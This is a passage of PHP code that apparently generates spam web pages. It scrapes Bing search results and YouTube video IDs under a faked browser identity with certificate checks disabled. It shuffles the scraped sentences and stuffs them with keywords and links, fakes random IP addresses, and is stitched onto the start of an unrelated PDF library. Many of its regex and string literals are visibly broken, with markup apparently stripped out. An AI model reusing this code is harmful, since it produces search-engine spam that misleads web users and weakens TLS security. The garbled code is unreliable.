curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.154 Safari/537.36');
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie/'.$host.'.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie/'.$host.'.txt');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($ch, CURLOPT_FTP_SSL, CURLFTPSSL_TRY);
$outch = curl_exec($ch);
$outch = str_ireplace('\\', '', $outch);
curl_close($ch);
preg_match_all('!youtube.com/watch\?v=(.*?)&!siu', $outch, $lines2);
$videos = array_unique($lines2[1]);
shuffle($videos);
$count_imgs = count($videos);
$ar_video = $videos;
preg_match_all("/(\[VIDEO.*\])/iUm", $_template_data, $_matches);
if (!empty($_matches[1])) {
foreach($_matches[1] as $_upimgs){
$rnd = rand(0,$count_imgs);
$int = $ar_video[$rnd];
if($int)
$_template_data = str_replace($_upimgs,'
',$_template_data);
else
$_template_data = str_replace($_upimgs,'',$_template_data);
}
}
}
if (!empty($_message) && is_dir($cachedirname)) {
$errorsforlocal = date("d F Y H:i:s") . "\t" . $_message . "\t" . trim($errorsforlocal);
if (file_exists($errorsfilename) && count(file($errorsfilename)) > 500) {
$fod = fopen($errorsfilename, "w+");
}
else {
$fod = fopen($errorsfilename, "a+");
}
flock($fod, LOCK_EX);
fwrite($fod, $errorsforlocal . "\n");
fclose($fod);
}
$_template_data = html_entity_decode(preg_replace("/(\[SENTENCE:.*\])/iU","",$_template_data));
return $_template_data;
}
}
}
}
function getip(){
$n1 = rand(1,255);
$n2 = rand(1,255);
$n3 = rand(1,255);
$n4 = rand(1,255);
$ips = "$n1.$n2.$n3.$n4";
return $ips;
}
function get_img_bing($str){
return str_ireplace('src2="',"",$str);
}
function edittext($_min_rand, $_max_rand, $_result, $_count_nums, $_num_str, $_incom_nums, $_other_data, $_keyfile_data, $_themesfile_data, $_extlinksfilename, $_clienturl, $_new_params, $_extlinksfile_data, $_an_limit){
if ($_min_rand == 0){
$_min_rand = 1;
}
if ($_max_rand == 0){
$_max_rand = 1;
}
$_incom_nums = explode("^", $_incom_nums);
$_incom_nums = rand($_incom_nums[0], $_incom_nums[1]);
if ($_extlinksfile_data == "good"){
$_new_params = explode("^", $_new_params);
$_new_params = rand($_new_params[0], $_new_params[1]);
}else{
$_new_params = 0;
}
$_other_data = trim($_other_data);
$_result = explode(".", $_result);
shuffle($_result);
$_group_results = array();
for ($_i = 0; $_i <= rand($_min_rand, $_max_rand); $_i++){
$_group_results[] = $_result[$_i];
}
unset($_result);
$_group_results = explode(" ", str_replace(" ", " ", implode(". ", $_group_results)));
if ($_count_nums > 0){
$_elem_groups = array(
"
" . $_other_data . " ",
"
" . $_other_data . " ",
$_other_data,
$_other_data,
$_other_data
);
$_count_groups = substr_count(strtolower(implode($_group_results)) , strtolower($_other_data));
$_str_limit = ceil(count($_group_results) * $_count_nums / 100) - $_count_groups;
if ($_str_limit <= 0){
$_str_limit = $_count_groups;
}
for ($_i = 1; $_i <= $_str_limit; $_i++){
if ($_an_limit == 1){
$_other_data = trim($_elem_groups[array_rand($_elem_groups) ]);
}
$_group_results[rand(0, count($_group_results) - 1) ].= " " . $_other_data;
}
}
if ($_num_str > 0){
shuffle($_keyfile_data);
$_str_limit = ceil(count($_group_results) * $_num_str / 100);
if (count($_keyfile_data) > $_str_limit - 1){
$_result_good = "";
if (empty($_result_good)){
for ($_i = 1; $_i <= $_str_limit; $_i++){
if ($_an_limit == 1){
$_elem_groups = array(
"
" . $_keyfile_data[$_i] . " ",
"
" . $_keyfile_data[$_i] . " ",
$_keyfile_data[$_i],
$_keyfile_data[$_i],
$_keyfile_data[$_i]
);
$_rand_el = trim($_elem_groups[array_rand($_elem_groups) ]);
}else{
$_rand_el = trim($_keyfile_data[$_i]);
}
$_group_results[rand(0, count($_group_results) - 1) ].= " " . $_rand_el;
}
}
}
}
if ($_incom_nums > 0){
shuffle($_keyfile_data);
if (count($_keyfile_data) < $_incom_nums - 1){
$_incom_nums = count($_keyfile_data);
}
$_result_good = "";
if (empty($_result_good)){
for ($_i = 1; $_i <= $_incom_nums; $_i++){
$_group_results[rand(0, count($_group_results) - 1) ].= '
' . ucfirst(trim($_keyfile_data[$_i])) . "";
}
}
}
$_group_results = trim(implode(" ", $_group_results));
$_group_results = htmlentities($_group_results);
return $_group_results;
}
function bingcontent($key, $_lang)
{ global $zones;
$zones_and_badchar = array("\n","\r","\t",' ','«','»','"','←','→',''','–',' ',' ','—','…',''','→','—','>','<','{','}','#','"','—','\'',"nbsp"," br ",".aaa",".aarp",".abarth",".abb",".abbott",".abbvie",".abc",".able",".abogado",".abudhabi",".ac",".academy",".accenture",".accountant",".accountants",".aco",".active",".actor",".ad",".adac",".ads",".adult",".ae",".aeg",".aero",".aetna",".af",".afamilycompany",".afl",".africa",".ag",".agakhan",".agency",".ai",".aig",".aigo",".airbus",".airforce",".airtel",".akdn",".al",".alfaromeo",".alibaba",".alipay",".allfinanz",".allstate",".ally",".alsace",".alstom",".am",".americanexpress",".americanfamily",".amex",".amfam",".amica",".amsterdam",".analytics",".android",".anquan",".anz",".ao",".aol",".apartments",".app",".apple",".aq",".aquarelle",".ar",".aramco",".archi",".army",".arpa",".art",".arte",".as",".asda",".asia",".associates",".at",".athleta",".attorney",".au",".auction",".audi",".audible",".audio",".auspost",".author",".auto",".autos",".avianca",".aw",".aws",".ax",".axa",".az",".azure",".ba",".baby",".baidu",".banamex",".bananarepublic",".band",".bank",".bar",".barcelona",".barclaycard",".barclays",".barefoot",".bargains",".baseball",".basketball",".bauhaus",".bayern",".bb",".bbc",".bbt",".bbva",".bcg",".bcn",".bd",".be",".beats",".beauty",".beer",".bentley",".berlin",".best",".bestbuy",".bet",".bf",".bg",".bh",".bharti",".bi",".bible",".bid",".bike",".bing",".bingo",".bio",".biz",".bj",".black",".blackfriday",".blanco",".blockbuster",".blog",".bloomberg",".blue",".bm",".bms",".bmw",".bn",".bnl",".bnpparibas",".bo",".boats",".boehringer",".bofa",".bom",".bond",".boo",".book",".booking",".boots",".bosch",".bostik",".boston",".bot",".boutique",".box",".br",".bradesco",".bridgestone",".broadway",".broker",".brother",".brussels",".bs",".bt",".budapest",".bugatti",".build",".builders",".business",".buy",".buzz",".bv",".bw",".by",".bz",".bzh",".ca",".cab",".cafe",".cal",".call",".calvinklein",".cam",".camera",".camp",".cancerresearch",".canon",".capetown",".capital",".capitalone",".car",".caravan",".cards",".care",".career",".careers",".cars",".cartier",".casa",".case",".caseih",".cash",".casino",".cat",".catering",".catholic",".cba",".cbn",".cbre",".cbs",".cc",".cd",".ceb",".center",".ceo",".cern",".cf",".cfa",".cfd",".cg",".ch",".chanel",".channel",".chase",".chat",".cheap",".chintai",".chloe",".christmas",".chrome",".chrysler",".church",".ci",".cipriani",".circle",".cisco",".citadel",".citi",".citic",".city",".cityeats",".ck",".cl",".claims",".cleaning",".click",".clinic",".clinique",".clothing",".cloud",".club",".clubmed",".cm",".cn",".co",".coach",".codes",".coffee",".college",".cologne",".com",".comcast",".commbank",".community",".company",".compare",".computer",".comsec",".condos",".construction",".consulting",".contact",".contractors",".cooking",".cookingchannel",".cool",".coop",".corsica",".country",".coupon",".coupons",".courses",".cr",".credit",".creditcard",".creditunion",".cricket",".crown",".crs",".cruise",".cruises",".csc",".cu",".cuisinella",".cv",".cw",".cx",".cy",".cymru",".cyou",".cz",".dabur",".dad",".dance",".data",".date",".dating",".datsun",".day",".dclk",".dds",".de",".deal",".dealer",".deals",".degree",".delivery",".dell",".deloitte",".delta",".democrat",".dental",".dentist",".desi",".design",".dev",".dhl",".diamonds",".diet",".digital",".direct",".directory",".discount",".discover",".dish",".diy",".dj",".dk",".dm",".dnp",".do",".docs",".doctor",".dodge",".dog",".doha",".domains",".dot",".download",".drive",".dtv",".dubai",".duck",".dunlop",".duns",".dupont",".durban",".dvag",".dvr",".dz",".earth",".eat",".ec",".eco",".edeka",".edu",".education",".ee",".eg",".email",".emerck",".energy",".engineer",".engineering",".enterprises",".epost",".epson",".equipment",".er",".ericsson",".erni",".es",".esq",".estate",".esurance",".et",".eu",".eurovision",".eus",".events",".everbank",".exchange",".expert",".exposed",".express",".extraspace",".fage",".fail",".fairwinds",".faith",".family",".fan",".fans",".farm",".farmers",".fashion",".fast",".fedex",".feedback",".ferrari",".ferrero",".fi",".fiat",".fidelity",".fido",".film",".final",".finance",".financial",".fire",".firestone",".firmdale",".fish",".fishing",".fit",".fitness",".fj",".fk",".flickr",".flights",".flir",".florist",".flowers",".fly",".fm",".fo",".foo",".food",".foodnetwork",".football",".ford",".forex",".forsale",".forum",".foundation",".fox",".fr",".free",".fresenius",".frl",".frogans",".frontdoor",".frontier",".ftr",".fujitsu",".fujixerox",".fun",".fund",".furniture",".futbol",".fyi",".ga",".gal",".gallery",".gallo",".gallup",".game",".games",".gap",".garden",".gb",".gbiz",".gd",".gdn",".ge",".gea",".gent",".genting",".george",".gf",".gg",".ggee",".gh",".gi",".gift",".gifts",".gives",".giving",".gl",".glade",".glass",".gle",".global",".globo",".gm",".gmail",".gmbh",".gmo",".gmx",".gn",".godaddy",".gold",".goldpoint",".golf",".goo",".goodhands",".goodyear",".goog",".google",".gop",".got",".gov",".gp",".gq",".gr",".grainger",".graphics",".gratis",".green",".gripe",".group",".gs",".gt",".gu",".guardian",".gucci",".guge",".guide",".guitars",".guru",".gw",".gy",".hair",".hamburg",".hangout",".haus",".hbo",".hdfc",".hdfcbank",".health",".healthcare",".help",".helsinki",".here",".hermes",".hgtv",".hiphop",".hisamitsu",".hitachi",".hiv",".hk",".hkt",".hm",".hn",".hockey",".holdings",".holiday",".homedepot",".homegoods",".homes",".homesense",".honda",".honeywell",".horse",".hospital",".host",".hosting",".hot",".hoteles",".hotels",".hotmail",".house",".how",".hr",".hsbc",".ht",".htc",".hu",".hughes",".hyatt",".hyundai",".ibm",".icbc",".ice",".icu",".id",".ie",".ieee",".ifm",".ikano",".il",".im",".imamat",".imdb",".immo",".immobilien",".in",".industries",".infiniti",".info",".ing",".ink",".institute",".insurance",".insure",".int",".intel",".international",".intuit",".investments",".io",".ipiranga",".iq",".ir",".irish",".is",".iselect",".ismaili",".ist",".istanbul",".it",".itau",".itv",".iveco",".iwc",".jaguar",".java",".jcb",".jcp",".je",".jeep",".jetzt",".jewelry",".jio",".jlc",".jll",".jm",".jmp",".jnj",".jo",".jobs",".joburg",".jot",".joy",".jp",".jpmorgan",".jprs",".juegos",".juniper",".kaufen",".kddi",".ke",".kerryhotels",".kerrylogistics",".kerryproperties",".kfh",".kg",".kh",".ki",".kia",".kim",".kinder",".kindle",".kitchen",".kiwi",".km",".kn",".koeln",".komatsu",".kosher",".kp",".kpmg",".kpn",".kr",".krd",".kred",".kuokgroup",".kw",".ky",".kyoto",".kz",".la",".lacaixa",".ladbrokes",".lamborghini",".lamer",".lancaster",".lancia",".lancome",".land",".landrover",".lanxess",".lasalle",".lat",".latino",".latrobe",".law",".lawyer",".lb",".lc",".lds",".lease",".leclerc",".lefrak",".legal",".lego",".lexus",".lgbt",".li",".liaison",".lidl",".life",".lifeinsurance",".lifestyle",".lighting",".like",".lilly",".limited",".limo",".lincoln",".linde",".link",".lipsy",".live",".living",".lixil",".lk",".loan",".loans",".locker",".locus",".loft",".lol",".london",".lotte",".lotto",".love",".lpl",".lplfinancial",".lr",".ls",".lt",".ltd",".ltda",".lu",".lundbeck",".lupin",".luxe",".luxury",".lv",".ly",".ma",".macys",".madrid",".maif",".maison",".makeup",".man",".management",".mango",".market",".marketing",".markets",".marriott",".marshalls",".maserati",".mattel",".mba",".mc",".mcd",".mcdonalds",".mckinsey",".md",".me",".med",".media",".meet",".melbourne",".meme",".memorial",".men",".menu",".meo",".metlife",".mg",".mh",".miami",".microsoft",".mil",".mini",".mint",".mit",".mitsubishi",".mk",".ml",".mlb",".mls",".mm",".mma",".mn",".mo",".mobi",".mobile",".mobily",".moda",".moe",".moi",".mom",".monash",".money",".monster",".montblanc",".mopar",".mormon",".mortgage",".moscow",".moto",".motorcycles",".mov",".movie",".movistar",".mp",".mq",".mr",".ms",".msd",".mt",".mtn",".mtpc",".mtr",".mu",".museum",".mutual",".mv",".mw",".mx",".my",".mz",".na",".nab",".nadex",".nagoya",".name",".nationwide",".natura",".navy",".nba",".nc",".ne",".nec",".net",".netbank",".netflix",".network",".neustar",".new",".newholland",".news",".next",".nextdirect",".nexus",".nf",".nfl",".ng",".ngo",".nhk",".ni",".nico",".nike",".nikon",".ninja",".nissan",".nissay",".nl",".no",".nokia",".northwesternmutual",".norton",".now",".nowruz",".nowtv",".np",".nr",".nra",".nrw",".ntt",".nu",".nyc",".nz",".obi",".observer",".off",".office",".okinawa",".olayan",".olayangroup",".oldnavy",".ollo",".om",".omega",".one",".ong",".onl",".online",".onyourside",".ooo",".open",".oracle",".orange",".org",".organic",".origins",".osaka",".otsuka",".ott",".ovh",".pa",".page",".pamperedchef",".panasonic",".panerai",".paris",".pars",".partners",".parts",".party",".passagens",".pay",".pccw",".pe",".pet",".pf",".pfizer",".pg",".ph",".pharmacy",".philips",".phone",".photo",".photography",".photos",".physio",".piaget",".pics",".pictet",".pictures",".pid",".pin",".ping",".pink",".pioneer",".pizza",".pk",".pl",".place",".play",".playstation",".plumbing",".plus",".pm",".pn",".pnc",".pohl",".poker",".politie",".porn",".post",".pr",".pramerica",".praxi",".press",".prime",".pro",".prod",".productions",".prof",".progressive",".promo",".properties",".property",".protection",".pru",".prudential",".ps",".pt",".pub",".pw",".pwc",".py",".qa",".qpon",".quebec",".quest",".qvc",".racing",".radio",".raid",".re",".read",".realestate",".realtor",".realty",".recipes",".red",".redstone",".redumbrella",".rehab",".reise",".reisen",".reit",".reliance",".ren",".rent",".rentals",".repair",".report",".republican",".rest",".restaurant",".review",".reviews",".rexroth",".rich",".richardli",".ricoh",".rightathome",".ril",".rio",".rip",".rmit",".ro",".rocher",".rocks",".rodeo",".rogers",".room",".rs",".rsvp",".ru",".rugby",".ruhr",".run",".rw",".rwe",".ryukyu",".sa",".saarland",".safe",".safety",".sakura",".sale",".salon",".samsclub",".samsung",".sandvik",".sandvikcoromant",".sanofi",".sap",".sapo",".sarl",".sas",".save",".saxo",".sb",".sbi",".sbs",".sc",".sca",".scb",".schaeffler",".schmidt",".scholarships",".school",".schule",".schwarz",".science",".scjohnson",".scor",".scot",".sd",".se",".seat",".secure",".security",".seek",".select",".sener",".services",".ses",".seven",".sew",".sex",".sexy",".sfr",".sg",".sh",".shangrila",".sharp",".shaw",".shell",".shia",".shiksha",".shoes",".shop",".shopping",".shouji",".show",".showtime",".shriram",".si",".silk",".sina",".singles",".site",".sj",".sk",".ski",".skin",".sky",".skype",".sl",".sling",".sm",".smart",".smile",".sn",".sncf",".so",".soccer",".social",".softbank",".software",".sohu",".solar",".solutions",".song",".sony",".soy",".space",".spiegel",".spot",".spreadbetting",".sr",".srl",".srt",".st",".stada",".staples",".star",".starhub",".statebank",".statefarm",".statoil",".stc",".stcgroup",".stockholm",".storage",".store",".stream",".studio",".study",".style",".su",".sucks",".supplies",".supply",".support",".surf",".surgery",".suzuki",".sv",".swatch",".swiftcover",".swiss",".sx",".sy",".sydney",".symantec",".systems",".sz",".tab",".taipei",".talk",".taobao",".target",".tatamotors",".tatar",".tattoo",".tax",".taxi",".tc",".tci",".td",".tdk",".team",".tech",".technology",".tel",".telecity",".telefonica",".temasek",".tennis",".teva",".tf",".tg",".th",".thd",".theater",".theatre",".tiaa",".tickets",".tienda",".tiffany",".tips",".tires",".tirol",".tj",".tjmaxx",".tjx",".tk",".tkmaxx",".tl",".tm",".tmall",".tn",".to",".today",".tokyo",".tools",".top",".toray",".toshiba",".total",".tours",".town",".toyota",".toys",".tr",".trade",".trading",".training",".travel",".travelchannel",".travelers",".travelersinsurance",".trust",".trv",".tt",".tube",".tui",".tunes",".tushu",".tv",".tvs",".tw",".tz",".ua",".ubank",".ubs",".uconnect",".ug",".uk",".unicom",".university",".uno",".uol",".ups",".us",".uy",".uz",".va",".vacations",".vana",".vanguard",".vc",".ve",".vegas",".ventures",".verisign",".versicherung",".vet",".vg",".vi",".viajes",".video",".vig",".viking",".villas",".vin",".vip",".virgin",".visa",".vision",".vista",".vistaprint",".viva",".vivo",".vlaanderen",".vn",".vodka",".volkswagen",".volvo",".vote",".voting",".voto",".voyage",".vu",".vuelos",".wales",".walmart",".walter",".wang",".wanggou",".warman",".watch",".watches",".weather",".weatherchannel",".webcam",".weber",".website",".wed",".wedding",".weibo",".weir",".wf",".whoswho",".wien",".wiki",".williamhill",".win",".windows",".wine",".winners",".wme",".wolterskluwer",".woodside",".work",".works",".world",".wow",".ws",".wtc",".wtf",".xbox",".xerox",".xfinity",".xihuan",".xin",".xn--11b4c3d",".xn--1ck2e1b",".xn--1qqw23a",".xn--30rr7y",".xn--3bst00m",".xn--3ds443g",".xn--3e0b707e",".xn--3oq18vl8pn36a",".xn--3pxu8k",".xn--42c2d9a",".xn--45brj9c",".xn--45q11c",".xn--4gbrim",".xn--54b7fta0cc",".xn--55qw42g",".xn--55qx5d",".xn--5su34j936bgsg",".xn--5tzm5g",".xn--6frz82g",".xn--6qq986b3xl",".xn--80adxhks",".xn--80ao21a",".xn--80aqecdr1a",".xn--80asehdb",".xn--80aswg",".xn--8y0a063a",".xn--90a3ac",".xn--90ae",".xn--90ais",".xn--9dbq2a",".xn--9et52u",".xn--9krt00a",".xn--b4w605ferd",".xn--bck1b9a5dre4c",".xn--c1avg",".xn--c2br7g",".xn--cck2b3b",".xn--cg4bki",".xn--clchc0ea0b2g2a9gcd",".xn--czr694b",".xn--czrs0t",".xn--czru2d",".xn--d1acj3b",".xn--d1alf",".xn--e1a4c",".xn--eckvdtc9d",".xn--efvy88h",".xn--estv75g",".xn--fct429k",".xn--fhbei",".xn--fiq228c5hs",".xn--fiq64b",".xn--fiqs8s",".xn--fiqz9s",".xn--fjq720a",".xn--flw351e",".xn--fpcrj9c3d",".xn--fzc2c9e2c",".xn--fzys8d69uvgm",".xn--g2xx48c",".xn--gckr3f0f",".xn--gecrj9c",".xn--gk3at1e",".xn--h2brj9c",".xn--hxt814e",".xn--i1b6b1a6a2e",".xn--imr513n",".xn--io0a7i",".xn--j1aef",".xn--j1amh",".xn--j6w193g",".xn--jlq61u9w7b",".xn--jvr189m",".xn--kcrx77d1x4a",".xn--kprw13d",".xn--kpry57d",".xn--kpu716f",".xn--kput3i",".xn--l1acc",".xn--lgbbat1ad8j",".xn--mgb9awbf",".xn--mgba3a3ejt",".xn--mgba3a4f16a",".xn--mgba7c0bbn0a",".xn--mgbaam7a8h",".xn--mgbab2bd",".xn--mgbai9azgqp6j",".xn--mgbayh7gpa",".xn--mgbb9fbpob",".xn--mgbbh1a71e",".xn--mgbc0a9azcg",".xn--mgbca7dzdo",".xn--mgberp4a5d4ar",".xn--mgbi4ecexp",".xn--mgbpl2fh",".xn--mgbt3dhd",".xn--mgbtx2b",".xn--mgbx4cd0ab",".xn--mix891f",".xn--mk1bu44c",".xn--mxtq1m",".xn--ngbc5azd",".xn--ngbe9e0a",".xn--node",".xn--nqv7f",".xn--nqv7fs00ema",".xn--nyqy26a",".xn--o3cw4h",".xn--ogbpf8fl",".xn--p1acf",".xn--p1ai",".xn--pbt977c",".xn--pgbs0dh",".xn--pssy2u",".xn--q9jyb4c",".xn--qcka1pmc",".xn--qxam",".xn--rhqv96g",".xn--rovu88b",".xn--s9brj9c",".xn--ses554g",".xn--t60b56a",".xn--tckwe",".xn--tiq49xqyj",".xn--unup4y",".xn--vermgensberater-ctb",".xn--vermgensberatung-pwb",".xn--vhquv",".xn--vuq861b",".xn--w4r85el8fhu5dnra",".xn--w4rs40l",".xn--wgbh1c",".xn--wgbl6a",".xn--xhq521b",".xn--xkc2al3hye2a",".xn--xkc2dl3a5ee0h",".xn--y9a3aq",".xn--yfro4i67o",".xn--ygbi2ammx",".xn--zfr164b",".xperia",".xxx",".xyz",".yachts",".yahoo",".yamaxun",".yandex",".ye",".yodobashi",".yoga",".yokohama",".you",".youtube",".yt",".yun",".za",".zappos",".zara",".zero",".zip",".zippo",".zm",".zone",".zuerich",".zw");
$full_content_count = 7;
$full_content_tags = '
';
$badchar = array(
"nbsp",
"\n",
"\r",
"\t",
' ',
'«',
'»',
'"',
'←',
'→',
''',
'–',
' ',
' ',
'—',
'…',
''',
'→',
'—',
'>',
'<',
'{',
'}',
'#',
'"',
'—',
'\''
);
$outch = '';
if (mb_strlen($key, 'utf-8') > 25) {
$keyp = preg_replace('!^(.{0,25})\s.*!su', '$1', $key);
}
else {
$keyp = $key;
}
$bings = array(
'http://www.bing.com/search?format=rss&first=1&q=' . urlencode(trim($keyp)." language:en"),
'http://www.bing.com/search?format=rss&first=11&q=' . urlencode(trim($keyp)." language:en"),
'http://www.bing.com/search?format=rss&first=31&q=' . urlencode(trim($keyp)." language:en")
);
$curldatabing = curlMultiRequest($bings);
foreach($curldatabing as $value) {
$outch .= $value;
}
$outch_iframe = $outch;
$outch = str_ireplace($badchar, ' ', $outch);
$outch = str_ireplace('...', '.', $outch);
$outch = str_ireplace(' .', '.', $outch);
$outch = str_ireplace('..', '.', $outch);
$outch = str_ireplace(',.', '.', $outch);
$outch = str_ireplace(':.', '.', $outch);
$outch = preg_replace('#\b(([\w-]+://?|www[.])[^\s()<>]+(?:\([\w\d]+\)|([^[:punct:]\s]|/)))#iS', '', $outch);
$outch = preg_replace('(\d{1,2}\/\d{1,2}\/\d{4})', '', $outch);
$outch = preg_replace('/(http:\/\/)(\S+)/i', '', $outch);
$outch = preg_replace('/(https:\/\/)(\S+)/i', '', $outch);
preg_match_all('!\
(.*?)\!siu', $outch, $lines);
$titles = @array_unique($lines[1]);
unset($titles[0]);
if (isset($lines[1][2])) {
$title1 = $lines[1][2];
}
else {
$title1 = '';
}
if (isset($lines[1][3])) {
$title2 = $lines[1][3];
}
else {
$title2 = '';
}
if (isset($lines[1][4])) {
$title3 = $lines[1][4];
}
else {
$title3 = '';
}
$title1 = trim(strip_tags($title1));
$title2 = trim(strip_tags($title2));
$title3 = trim(strip_tags($title3));
preg_match_all('!\
(.*?)\!siu', $outch_iframe, $iframes);
$iframe = array_unique($iframes[1]);
$bing_links = $iframe;
shuffle($bing_links);
array_splice($bing_links,$full_content_count);
$full_content_array = array();
$i = 1;
$full_content_content = '';
$curldatabingsites = curlMultiRequest($bing_links);
foreach($curldatabingsites as $outch) {
$outch = preg_replace('!\<\s*textarea[^>]*\>.*?\!siu', '', $outch);
$outch = preg_replace('!\<\s*style[^>]*\>.*?\!siu', '', $outch);
$outch = preg_replace('!\<\s*script[^>]*\>.*?\!siu', '', $outch);
$outch = preg_replace('!\<\s*head[^>]*\>.*?\!siu', '', $outch);
$outch = str_ireplace('>', '> ', $outch);
preg_match_all('!\
(.*?)\
!siu', $outch, $lines);
foreach($lines[1] as $p_tag) {
$p_tag = trim(strip_tags($p_tag, $full_content_tags));
$p_tag = preg_replace("/<([a-z][a-z0-9]*)[^>]*?(\/?)>/i", '<$1$2>', $p_tag);
$p_tag = trim($p_tag);
$full_content_array[md5($p_tag)] = $p_tag;
}
// if ($i == $full_content_count) break;
$i++;
}
shuffle($full_content_array);
$full_content_array = array_unique($full_content_array);
$content = $full_content_array;
$content = preg_replace('/([A-Za-z0-9а-яА-Я]+\.)+([A-Za-z0-9а-яА-Я]+)/siu', '', $content);
$content = preg_replace("/(\s){2,}/",' ',$content);
$content = preg_replace('/[^a-zа-яё. ]+/iu', '', $content);
$content = str_ireplace('. .', '.', $content);
$content = str_ireplace($zones, '', $content);
$content = str_ireplace('...', '.', $content);
$content = str_ireplace(' .', '.', $content);
$content = str_ireplace('..', '.', $content);
$content = str_ireplace(',.', '.', $content);
$newcontent = str_ireplace(':.', '.', $content);
$newcontent = implode($newcontent);
if (mb_detect_encoding($newcontent) == "UTF-8"):
$newcontent = trim($newcontent);
else:
$newcontent = iconv(mb_detect_encoding($newcontent) , "UTF-8", $newcontent);
$newcontent = trim($newcontent);
endif;
return $newcontent;
}
function curlMultiRequest($urls, $options = array()){
global $useCurl, $requestTimeout;
// cURL multi-handle
$mh = curl_multi_init();
// This will hold cURLS requests for each file
$requests = array();
$options = array(
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_AUTOREFERER => true,
CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.154 Safari/537.36',
CURLOPT_HEADER => false,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_CONNECTTIMEOUT => 2
);
//Corresponding filestream array for each file
$fstreams = array();
foreach ($urls as $key => $url)
{
// Add initialized cURL object to array
$requests[$key] = curl_init($url);
// Set cURL object options
curl_setopt_array($requests[$key], $options);
// Add cURL object to multi-handle
curl_multi_add_handle($mh, $requests[$key]);
}
// Do while all request have been completed
do {
curl_multi_exec($mh, $active);
} while ($active > 0);
// Collect all data here and clean up
foreach ($requests as $key => $request) {
$returned[$key] = curl_multi_getcontent($request); // Use this if you're not downloading into file, also remove CURLOPT_FILE option and fstreams array
curl_multi_remove_handle($mh, $request); //assuming we're being responsible about our resource management
curl_close($request); //being responsible again. THIS MUST GO AFTER curl_multi_getcontent();
}
curl_multi_close($mh);
//$req = new HttpRequest($useCurl, $requestTimeout);
//foreach($urls as $url){
//$tasks[$url] = $req->request($url);
//}
return $returned;
}
class HttpRequest{
var $mode = 0;
var $timeout = 60;
function HttpRequest($mode = 0, $timeout = 60) {
$this->mode = ($mode == 0 && function_exists('curl_init') ? 0 : 1);
$this->timeout = $timeout;
}
function request($url, $post_data = false) {
switch ($this->mode){
case 0:
return $this->_requestCurl($url, $post_data);
case 1:
return file_get_contents($url);
default:
return false;
};
}
function _requestCurl($url, $post_data) {
$hc = curl_init($url);
if ($post_data)
curl_setopt($hc, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($hc, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($hc, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($hc, CURLOPT_AUTOREFERER, 1);
curl_setopt($hc, CURLOPT_CONNECTTIMEOUT, $this->timeout);
$res = curl_exec($hc);
$this->httpStatus = curl_getinfo($hc, CURLINFO_HTTP_CODE);
curl_close($hc);
return $res;
}
};
class FPDF
{
var $page; // current page number
var $n; // current object number
var $offsets; // array of object offsets
var $buffer; // buffer holding in-memory PDF
var $pages; // array containing pages
var $state; // current document state
var $compress; // compression flag
var $k; // scale factor (number of points in user unit)
var $DefOrientation; // default orientation
var $CurOrientation; // current orientation
var $StdPageSizes; // standard page sizes
var $DefPageSize; // default page size
var $CurPageSize; // current page size
var $PageSizes; // used for pages with non default sizes or orientations
var $wPt, $hPt; // dimensions of current page in points
var $w, $h; // dimensions of current page in user unit
var $lMargin; // left margin
var $tMargin; // top margin
var $rMargin; // right margin
var $bMargin; // page break margin
var $cMargin; // cell margin
var $x, $y; // current position in user unit
var $lasth; // height of last printed cell
var $LineWidth; // line width in user unit
var $fontpath; // path containing fonts
var $CoreFonts; // array of core font names
var $fonts; // array of used fonts
var $FontFiles; // array of font files
var $diffs; // array of encoding differences
var $FontFamily; // current font family
var $FontStyle; // current font style
var $underline; // underlining flag
var $CurrentFont; // current font info
var $FontSizePt; // current font size in points
var $FontSize; // current font size in user unit
var $DrawColor; // commands for drawing color
var $FillColor; // commands for filling color
var $TextColor; // commands for text color
var $ColorFlag; // indicates whether fill and text colors are different
var $ws; // word spacing
var $images; // array of used images
var $PageLinks; // array of links in pages
var $links; // array of internal links
var $AutoPageBreak; // automatic page breaking
var $PageBreakTrigger; // threshold used to trigger page breaks
var $InHeader; // flag set when processing header
var $InFooter; // flag set when processing footer
var $ZoomMode; // zoom display mode
var $LayoutMode; // layout display mode
var $title; // title
var $subject; // subject
var $author; // author
var $keywords; // keywords
var $creator; // creator
var $AliasNbPages; // alias for total number of pages
var $PDFVersion; // PDF version number
/*******************************************************************************
* *
* Public methods *
* *
*******************************************************************************/
function FPDF($orientation='P', $unit='mm', $size='A4')
{
// Some checks
$this->_dochecks();
// Initialization of properties
$this->page = 0;
$this->n = 2;
$this->buffer = '';
$this->pages = array();
$this->PageSizes = array();
$this->state = 0;
$this->fonts = array();
$this->FontFiles = array();
$this->diffs = array();
$this->images = array();
$this->links = array();
$this->InHeader = false;
$this->InFooter = false;
$this->lasth = 0;
$this->FontFamily = '';
$this->FontStyle = '';
$this->FontSizePt = 12;
$this->underline = false;
$this->DrawColor = '0 G';
$this->FillColor = '0 g';
$this->TextColor = '0 g';
$this->ColorFlag = false;
$this->ws = 0;
// Font path
if(defined('FPDF_FONTPATH'))
{
$this->fontpath = FPDF_FONTPATH;
if(substr($this->fontpath,-1)!='/' && substr($this->fontpath,-1)!='\\')
$this->fontpath .= '/';
}
elseif(is_dir(dirname(__FILE__).'/font'))
$this->fontpath = dirname(__FILE__).'/font/';
else
$this->fontpath = '';
// Core fonts
$this->CoreFonts = array('courier', 'helvetica', 'times', 'symbol', 'zapfdingbats');
// Scale factor
if($unit=='pt')
$this->k = 1;
elseif($unit=='mm')
$this->k = 72/25.4;
elseif($unit=='cm')
$this->k = 72/2.54;
elseif($unit=='in')
$this->k = 72;
else
$this->Error('Incorrect unit: '.$unit);
// Page sizes
$this->StdPageSizes = array('a3'=>array(841.89,1190.55), 'a4'=>array(595.28,841.89), 'a5'=>array(420.94,595.28),
'letter'=>array(612,792), 'legal'=>array(612,1008));
